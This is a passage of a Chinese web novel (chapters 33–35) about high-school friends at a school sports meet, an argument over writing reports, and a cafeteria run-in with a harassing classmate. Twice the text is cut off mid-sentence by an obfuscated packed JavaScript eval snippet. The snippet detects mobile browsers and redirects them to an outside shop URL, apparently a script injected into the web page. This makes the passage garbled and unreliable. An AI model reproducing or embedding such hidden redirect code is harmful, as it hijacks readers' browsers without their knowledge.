听到夸赞的夏晚美滋滋的翘起嘴角,“那当然了,等着瞧吧,咱班队列肯定第一。” 制服本身没有设计出线条感,但夏晚发育的不错,胸部撑起制服显出了腰线,看着玻璃反射出的浅淡的身影,夏晚乐呵呵的转来转去,“那天我和婷婷逛街,看到有个店卖聚拢胸罩,说是穿上后可好看了,显胸大腰还细,就是太贵,我没舍得买。” 夏迟:“我看你现在这样就挺好的。” 夏晚不认可的摇摇头,“还是不行,你看电视上那些大明星,胸大腰细屁股翘,我还差得远呢。” 夏迟:“人家是专业的,你干嘛非要和她们比,反正我就觉得你最好看,电视上那些大明星也不行,谁都比不上你。” “怎么嘴这么甜啊。”夏晚回身抱住夏迟,“说,是不是在偷偷和陆尘处对象,想让我帮你保守秘密?” 夏迟:“没有没有没有!你咋回事,好像天天盼着我俩早恋似的。” 夏晚:“知道什么事最刺激吗?就是当你知道了一个所有人都不知道的秘密,要是你俩真处上了,我就是唯一知道真相的人,每天战战兢兢如履薄冰,生怕一个不小心说漏嘴,啧啧啧,想想都觉得刺激。” 夏迟重重叹气,挣脱她的怀抱把她换下来的衣服装进书包放到讲台上,从窗口看了一眼外面的操场,发现各班都已经准备完毕,赶忙催促道:“走走走,马上就要开始了。” 走出教学楼后,夏晚立刻把刚才的事忘到了脑后,昂首挺胸自信满满,虽然化着妆,但妆容很淡只做点缀,根本遮掩不住本身的青春活力,引来无数侧目。 一班见状集体欢呼鼓掌,特别捧场的嗷嗷叫着表示不管结果如何咱班已经赢了,极大满足了夏晚那点小小的虚荣心。 杜司宇把班级牌子交给她,笑道:“诶不错啊,我就说你合适吗,瞧瞧我这眼光,我跟你讲,我刚才去别的班溜达一圈,真的,就你最好看。” 夏晚微扬着下巴,眼中光彩流转,“嗯,你说得对,我也觉得我最好看。” 距离开幕式还有一点时间,夏晚拄着牌子站在队伍最前方,实在太无聊了,决定找点事做。很不巧,陆尘就站在男生第一排。 她后退两步凑到陆尘眼前,“口红和睫毛膏还剩挺多,等晚上回去,我给夏迟也画上,你觉得咋样。” 陆尘:“她现在这样挺好的,用不着画。” “哦~~~”夏晚意味深长的笑笑。 看她满脸写着“我懂我懂我都懂”,陆尘难得没有反驳,稍显心虚的避开了她的眼神。 钟景明就站在陆尘身边,非常不小心的听到了他俩的对话,但他对这些事情没有丝毫兴趣,离开游戏太久的他觉得自己已经忍受到极限了,于是偷偷拉下校服拉链,拿出了藏在里面的游戏机。 陆尘的目光瞬间被吸引过去,他伸手扯开钟景明的校服,发现校服内衬被他剪开了一个口子,“你挺有才啊。” 校服自带的口袋太小,不适合装游戏机,但校服又过于肥大,利用和身体间的空隙,藏在内衬里是最好的办法,既不用担心被发现,又不用担心游戏机掉出来。 情绪好好的被游戏机安抚住,钟景明心情舒畅,一边操控角色一边回答:“你也可以试试,不过你那个随身听是超薄的,放裤兜里就行,校服一遮什么都看不出来。” 虽然打扰人家打游戏不太好,但陆尘还是戳戳他的肩膀,并且拉下了校服拉链。 钟景明手上动作不停,用余光瞄了一眼,发现那个银色的随身听果然被他带在身上,耳机线从短袖内侧穿出,两个耳机就搭在他的领口,只不过一直没听罢了。 目睹了全部的夏晚已经看麻了,“你俩是一天不碰电子产品会死吗?” 钟景明:“死不至于,但生活会少了很多乐趣。” 陆尘赞同的点点头。 等到校领导走上观礼台,运动会正式开始。 “尊敬的各位领导,亲爱的老师们,同学们,大家早上好!” “今天,我们满怀喜悦欢聚一堂,让我们以饱满的精神姿态,以最热烈的掌声,庆贺运动会的顺利召开。在此,我僅代表全体同学,向筹备此次运动会的老师们表示衷心的感谢,向全体运动员裁判员表示诚挚的慰问。” “……” 多少年没参加过运动会的夏迟还有点小激动,她听着主持人的开幕词,听着校领导的讲话,再伴着运动员进行曲随其他同学一起走过观礼台,发泄似的喊出嘹亮的口号,好似把心中的郁结一起喊了出来。 队列结束后,各班同学回到位置坐好,趁着整理的功夫,广播通知男子100米比赛即将开始,请参赛运动员换好衣服到检录处检录。 夏晚懒得回去换衣服,顺便还想再美一会儿,就向杜司宇借了校服外套披在身上,和徐婷婷凑在一起看星座杂志。 “你们谁会写运动会稿件啊,每班都得送的。”杜司宇站在前面,晃晃手里的纸笔,“要写的举手,东西都给你们备全了。” 但下面无人应答。 杜司宇:“靠,不是吧,运动会两天呢,你们也不能可我一个人霍霍啊。” 赵鹏十分同情,但并不打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13223627|136739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 算帮忙,“体委加油,我们看好你。” “看好个屁。”杜司宇觉得这样不行,“没写人的话我就强制了啊,这样,其余同学随意,班干部每人给我写三份,行,就这么定了。” “咋就这么定了,我同意了吗。”突然收到强制任务的钟景明非常暴躁,他暂停游戏想要好好和杜司宇理论一下,但抬眼就看见站在不远处的韩途生,只好把各种不爽压回心底。 但写稿子是不可能写的,这辈子都不可能写。 他四下寻摸一圈,恰好乔颂、陆尘和夏迟就坐在他周围,于是雨露均沾,一人塞了一张。 又被加了任务的乔颂瞬间懵逼,“你干嘛啊?” 钟景明理直气壮,“都是同班同学,还都坐在一块儿,互相帮忙怎么了。” 陆尘:“你咋不帮我们写了呢。” 钟景明:“室外光线太强,我眼睛疼,看不了字。” 夏迟:“你看不了字你还打游戏?!” 钟景明:“游戏是游戏,稿子是稿子,夏迟,你猜你为什么语文考不过我,就是因为你对文字的理解不深刻。” 夏迟:“……” 陆尘:“我语文和你平分吧。” 钟景明:“但你数学比我低,说明你和我的逻辑思维还小有差距,你根本无法理解我这句话背后的复杂含义。” 陆尘:“……” 面对钟景明的强词夺理,乔颂居然无法反驳,弱弱道:“我各科都没考过你,是不是已经没有发言权了。” 钟景明:“还算你对自己有清晰的认知。” 但夏迟不想吃这一套,她把三张纸收回并塞进钟景明手里,“自己写,不写的话就给你告老师。” 钟景明:“……” 她看出钟景明的欲言又止,可她完全不在意,“我双标,我没素质,你能把我咋地,你就说你写不写吧。”说完,还威胁似的瞄了一眼韩途生。 钟景明抿着嘴巴,下意识的看向陆尘,然而对方好像突然间想到了什么,看着手里的白纸若有所思,“不对啊,我们为什么要写。” 乔颂也意识到了这个问题,“对啊,这不是我们的活儿啊。” 运动会由各班体委全权负责,虽然也需要同学们的参与,但也没人说要强制参与。这活儿本来就是杜司宇的,结果他打了一个出其不备,把自己的活儿塞给了他们。 还在前面乐呵呵的杜司宇瞬间打了个寒颤,扭头却正好对上了四道死亡视线。 夏迟皮笑肉不笑的朝他勾勾手指,杜司宇有了危机感,本来不想过去的,但另外三人也在盯着他,感觉不过去的话会死的更惨一点。 “咋了?” 杜司宇硬着头皮走过去,结果夏迟收了四人手里一共十二张纸,强硬的塞回他的手里,“听话,自己写,还有,自己的活儿自己干,再有下次我就给你告老师,说你身为班干部不做好自己的本职工作还偷懒,根本没给同学们起到示范带头作用!” 34. 第三十四章 整整一个上午,别的同学在给运动员加油,杜司宇在写稿子,别的同学在聊天吃零食,杜司宇还在写稿子,外界的纷纷扰扰都与他无关,他的眼里只有稿纸上的小格子。 好不容易熬到午饭时间,杜司宇头晕目眩,站起来后还是感觉有一个个小方格在眼前飞舞。 “快,我不行了,谁来扶我一把。” 周围同学都在逃窜,只有陆尘和乔颂被他抓住,被迫变成了他的拐杖。 中午徐婷婷有事外出,夏晚便和夏迟凑到了一块儿,准备和他们一起去食堂吃饭,她帮乔颂拿着饭盒,颠了颠饭盒的分量,“我真佩服你,我也想减肥,但是我做不到就吃这么点东西。” 还都是低糖低油,盐都要少放,吃起来一点都不快乐。 乔颂:“只要体重在合理范围内,不要随便减肥,对身体不好的。” 夏晚:“我也知道啊,所以只是想想。诶你们舞蹈生一个个都保持那么好的身材,就是因为只吃特定的食物吗?” 乔颂:“也不全是,我们也会根据身体状况做出调整,赶明儿我给你写个食谱,你不用特意改变饮食习惯,但我给你写的那些可以适当多吃一点。” 夏晚:“OK,没问题。” 由于上午的项目进行顺利,甚至提前结束,所以今天的午休时间较长,学校又没有禁止外出,好多学生趁此机会跑去校外改善伙食,食堂比平时少了很多人,也不算拥挤。 进了食堂后,乔颂撇开杜司宇的爪子,从夏晚手里拿回饭盒,“我去占座,你们去打饭吧。” 夏迟凑到乔颂身边,“我也不用打饭,我和你一起。” “为啥啊?”杜司宇摸不到头脑,“你不吃了?你也要减肥啊,小乔不是说减肥不好吗,你咋不听劝呢。” 夏迟:“……” 乔颂和夏晚笑而不语,陆尘头也不回往档口那边走,“再不去没菜了。” “哦哦。”杜司宇憨憨的跟上去,和夏晚一起拿了不锈钢餐盘,转头就见陆尘拿了两个,疑惑道:“你咋还要吃两份?以前没见你这么能吃啊。” 陆尘理都没理直接去排队。 夏晚实在看不下去,跟杜司宇排好队后忍不住提醒,“你看我老妹儿没来排队,陆尘却拿了两个餐盘,这是为什么呢?” 提醒到这个地步,杜司宇要还听不懂那就真是个傻子了,但他思考的方向有点偏,“不对啊,都一起长大的,陆尘你咋还区别对待呢。” 陆尘被他烦的直叹气,“那你想咋样?” 杜司宇:“我也不想排队,我也想有人帮我打饭。” 陆尘扬扬手里的餐盘,“我一手拿一个,你的那份咋打,用嘴叼着吗?” 杜司宇:“这倒是有点为难你了,这样,明天你帮我打。” 陆尘微微一笑,冷酷拒绝,“大白天的少做梦。” “嘶……”杜司宇回头找夏晚告状,“他咋这样呢?” 夏晚笑的肩膀都在抖,又开始给他出损招,“你还不知道他吗,吃软不吃硬,弹簧似的,你越强硬他反弹的越厉害。” 杜司宇觉得此话有理,认真的点了点头,“你接着说。” 夏晚:“你想让他帮你打饭就好好和他说啊,你看啊,他二月生日,你四月生日,虽然只大了两个月,但名义上也是哥哥,你这样,你叫一声小哥哥,说不定他一心软就同意了。” 听到小哥哥这个称呼,杜司宇起了一身鸡皮疙瘩,“咦,好恶心,没看出来啊陆尘,你还有这癖好,就愿意听夏迟叫你小哥哥啊。” 陆尘:“……” 这可真是从天而降好大一口锅,陆尘气的直翻白眼,“我愿意听啥要你管。” 杜司宇难得聪明一次,直接抓到了重点,“靠,你居然没有反驳,被我说对了吧。” 陆尘:“……” 他越过杜司宇,看向始作俑者,就见夏晚笑的花枝乱颤餐盘都拿不稳,无语道:“好的不学,还学会给我造谣了。” 夏晚抬手擦掉眼角沁出的泪水,笑道:“我的错我的错,但谁想到你居然承认了哈哈哈哈哈……” 杜司宇:“哈哈哈哈……” 看着身后一唱一和俩傻子,陆尘气的不想说话。 …… 另一边,夏迟和乔颂一起寻找空位置。 一中食堂去年新换了一批桌椅,座椅一体固定,每桌只能坐四个人,现在他们五个人需要两桌,只能找并排放在一起的桌子。夏迟将目光投向靠窗那边,结果看到了比他们早一点来到食堂、正在打游戏的钟景明。 今天的他没什么胃口,只买了一瓶汽水一个面包,意识到对面有人坐下,还没等开口,抬头就见夏迟笑嘻嘻的看着自己,“拼个桌哈。” 钟景明委婉的下逐客令,“平时上课都坐一起,现在就不用了吧。” 乔颂:“没办法,别的位置都有人了。” 今天人不多,别人看到钟景明独自坐在这儿都以为他是在占座,就去找了别的座位,谁知阴差阳错便宜了夏迟他们。 赶人是赶不走了,钟景明也懒得再找地方,同班同学也还凑合吧,总比别人来烦自己要好,于是重新带上耳机继续徜徉在游戏世界中。 等人期间,夏迟和乔颂随便闲聊,聊着聊着又过来一个人,直接坐在了夏迟身边。 男生歪歪斜斜穿着校服外套,脖子上戴着一个超夸张的骷髅项链,看到夏迟疑惑的目光,他装逼似的轻轻甩了一下刘海,“我叫曾亮,十八班的。” 说这话时,他故意前倾身体往夏迟身上贴,乔颂见状赶紧起身,拉起夏迟和她调换了位置,“不好意思,这个位置有人了。” 被打扰了的曾亮眼神稍冷,皮笑肉不笑的盯着乔颂,“呦,我认识你,你不上次文艺汇演台上跳舞那个吗。” 乔颂听出来他就是来找茬的,冷静回道:“是我,请问你有什么事?” 曾亮:“咋了,没事就不能坐这儿?学校啥时候规定只有你们好学生才……” “你可以闭嘴吗?”曾亮话没说完,就被对面的钟景明打断,“有没有人和你说过你很吵。” 曾亮冷笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13236949|136739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“我也认识你,年级第一吗,叫钟景明是吧。” 钟景明:“认识我是什么了不起的事吗,就凭我的成绩,不认识我的才是傻逼。” 曾亮:“呵呵……你很嚣张啊。” 他没想到钟景明说话这么冲,刚要开口又被对方打断,“年级第一不嚣张难道要你这成绩才嚣张?” 就算再怎么混,在学校里被人拿成绩说事儿,曾亮还是非常不爽,“你他妈的……” 钟景明:“谁妈都没用,你到底有没有事,有事就说没事就滚,别耽误我打游戏。” 火气噌的一下上头,曾亮彻底被激怒,“你他妈知不知道我是谁?!” 钟景明:“我为啥要知道你是谁,你考年级第一你还会在乎后面都有谁?哦,不对,看你这模样估计单科第一都没考过,说了白说,赶紧有多远滚多远,看见你就膈应。” 曾亮气的浑身发抖,捏紧拳头,见状,钟景明又提醒道:“少跟我来这套,你敢动我,信不信上到校长下到教导主任拿砍刀追杀你。” 一中好学生不少,但成绩好到钟景明这样的简直独一份,所有老师都指着他高考出成绩为校争光呢,就连他上课偷偷玩游戏也只是劝说,没人敢直接没收他的游戏机。曾亮家长花钱把他塞到一中至少也得让他保个高中毕业证,但凡他还想在这儿毕业,就不可能去动钟景明。 一时间,曾亮有点下不来台,恰巧这时有个朋友叫他去打篮球,他便趁着这个机会放了句狠话,还故意把篮球拍的乓乓响,好像这样就可以让自己增加威慑力。 “纯纯大傻逼。”钟景明毫不留情的评价道。 几分钟后,陆尘三人端着餐盘找到他们,吃饭间隙,乔颂见夏迟和夏晚在聊天没注意到自己这边,思考片刻,凑近陆尘小声道:“刚才十八班有个叫曾亮的,过来骚扰夏迟。” 陆尘立刻警觉,下意识的环顾四周。 乔颂:“别看了,人早走了。” 陆尘:“长什么样?” 乔颂:“脖子上挂着个骷髅头,流里流气的。” 陆尘点点头,表示自己记住了。 一段小小的插曲并未改变什么,吃过午饭,大家成群结队的回到操场,下午的运动会照常进行。 杜司宇趴在桌上,继续绞尽脑汁的写稿子,就连听广播提醒运动员检录这件事都交给了陆尘。陆尘被迫上岗,坐在第一排,一边吃零食一边看杜司宇痛苦的仿佛便秘的表情,疑惑道:“有那么难写吗?” 杜司宇崩溃,“你觉得不难你写啊,你们一个个语文成绩都比我好,结果让我一个人写!一点集体荣誉感都没有!” 陆尘往嘴里塞了几根虾条,含糊道:“唔……加油……” 但身为班长,他还是认真履行了职责,听到广播后会第一时间拿起报名表,提醒该项运动员做好准备。 今天的最后一项是4*100米接力,陆尘照着报名表点名,然而这次却发现少了一个人。 夏晚焦急道:“怎么办啊,婷婷下午就没回来,我也不知道她去哪儿了。” 35. 第三十五章